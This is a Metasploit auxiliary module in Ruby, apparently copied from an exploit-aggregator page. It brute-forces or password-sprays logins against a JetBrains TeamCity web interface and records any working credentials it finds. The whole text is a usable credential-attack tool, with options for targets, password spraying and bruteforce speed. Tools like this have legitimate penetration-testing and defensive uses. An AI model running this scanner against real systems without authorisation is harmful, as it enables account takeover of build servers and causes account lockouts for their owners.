Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-SCANNER-TEAMCITY-TEAMCITY_LOGIN-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/teamcity'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::AuthBrute
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'JetBrains TeamCity Login Scanner',
'Description' => 'This module performs login attempts against a JetBrains TeamCity webpage to bruteforce possible credentials.',
'Author' => [ 'adfoster-r7', 'sjanusz-r7' ],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [],
'SideEffects' => [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS ]
}
)
)
register_options(
[
Msf::OptString.new('TARGETURI', [true, 'The base path to the TeamCity application', '/']),
Opt::RPORT(8111),
OptBool.new('PASSWORD_SPRAY', [true, 'Reverse the credential pairing order. For each password, attempt every possible user.', true]),
], self.class
)
options_to_deregister = ['DOMAIN']
deregister_options(*options_to_deregister)
end
def process_credential(credential_data)
credential_combo = "#{credential_data[:username]}:#{credential_data[:private_data]}"
case credential_data[:status]
when Metasploit::Model::Login::Status::SUCCESSFUL
print_good "#{credential_data[:address]}:#{credential_data[:port]} - Login Successful: #{credential_combo}"
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
return { status: :success, credential: credential_data }
else
error_msg = "#{credential_data[:address]}:#{credential_data[:port]} - LOGIN FAILED: #{credential_combo} (#{credential_data[:status]})"
vprint_error error_msg
invalidate_login(credential_data)
return { status: :fail, credential: credential_data }
end
end
def run_scanner(scanner)
successful_logins = []
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: fullname,
workspace_id: myworkspace_id
)
processed_credential = process_credential(credential_data)
successful_logins << processed_credential[:credential] if processed_credential[:status] == :success
end
{ successful_logins: successful_logins }
end
def run_host(ip)
cred_collection = build_credential_collection(
username: datastore['USERNAME'],
password: datastore['PASSWORD']
)
scanner_opts = configure_http_login_scanner(
host: ip,
uri: target_uri,
port: datastore['RPORT'],
proxies: datastore['Proxies'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: datastore['HttpClientTimeout'] || 5,
framework: framework,
framework_module: self,
http_success_codes: [200, 302],
method: 'POST',
ssl: datastore['SSL']
)
scanner = Metasploit::Framework::LoginScanner::Teamcity.new(scanner_opts)
run_scanner(scanner)
end
end